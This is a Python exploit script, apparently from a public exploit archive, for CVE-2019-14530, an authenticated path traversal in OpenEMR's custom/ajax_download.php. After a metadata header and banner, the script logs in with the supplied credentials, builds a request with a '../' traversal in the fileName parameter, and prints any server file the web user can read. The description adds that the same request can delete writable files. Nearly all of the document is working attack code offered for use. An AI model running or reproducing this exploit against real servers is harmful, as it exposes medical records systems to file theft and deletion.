# Exploit Title: OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) # Date 16.06.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://www.open-emr.org/ # Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip # Version: All versions prior to 5.0.2 # Tested on: Ubuntu 18.04 # CVE: CVE-2019-14530 # CWE: CWE-22 # Documentation: https://github.com/Hacker5preme/Exploits/blob/main/CVE-2019-14530-Exploit/README.md # Reference: https://raw.githubusercontent.com/Wezery/CVE-2019-14530/master/Path%20traversal%20and%20DoS.pdf ''' Description: An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter. An authenticated attacker can download any file (that is readable by the user www-data) from server storage. If the requested file is writable for the www-data user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server. ''' ''' Banner: ''' banner = """ ______ _______ ____ ___ _ ___ _ _ _ ____ _____ ___ / ___\ \ / / ____| |___ \ / _ \/ |/ _ \ / | || || ___|___ / / _ \ | | \ \ / /| _| _____ __) | | | | | (_) |_____| | || ||___ \ |_ \| | | | | |___ \ V / | |__|_____/ __/| |_| | |\__, |_____| |__ _|__) |__) | |_| | \____| \_/ |_____| |_____|\___/|_| /_/ |_| |_||____/____/ \___/ by Hacker5preme """ print(banner) ''' Import required modules: ''' import requests import argparse ''' User-Input: ''' my_parser = argparse.ArgumentParser(description='OpenEMR Path Traversal') my_parser.add_argument('-T', '--IP', type=str) my_parser.add_argument('-P', '--PORT', type=str) my_parser.add_argument('-U', '--PATH', type=str) my_parser.add_argument('-u', '--USERNAME', type=str) my_parser.add_argument('-p', '--PASSWORD', type=str) args = my_parser.parse_args() target_ip = args.IP target_port = args.PORT openemr_path = args.PATH username = args.USERNAME password = args.PASSWORD print('') Filepath = input('[+] Filepath: ') ''' Authentication: ''' session = requests.Session() auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default' # Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'http://' + target_ip, 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } # Body: body = { 'new_login_session_management': '1', 'authProvider': 'Default', 'authUser': username, 'clearPass': password, 'languageChoice': '1' } # Authenticate: print('') auth = session.post(auth_url, headers=header, data=body) if 'error=1&site=' in auth.text: print('[-] Authentication failed') exit() else: print('[+] Authentication successfull: ' + str(auth)) ''' Path Traversal: ''' url_static = 'http://' + target_ip + ':' + target_port + openemr_path url_dynamic = '/custom/ajax_download.php?fileName=../../../../../../../../..' url_exploit = url_static + url_dynamic + Filepath print('') print('[+] Constructed malicious URL: ') # Headers: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } # Exploit: print('') print('[+] Contents of ' + Filepath + ':') print('') getfile = session.get(url_exploit, headers = header) print(getfile.text)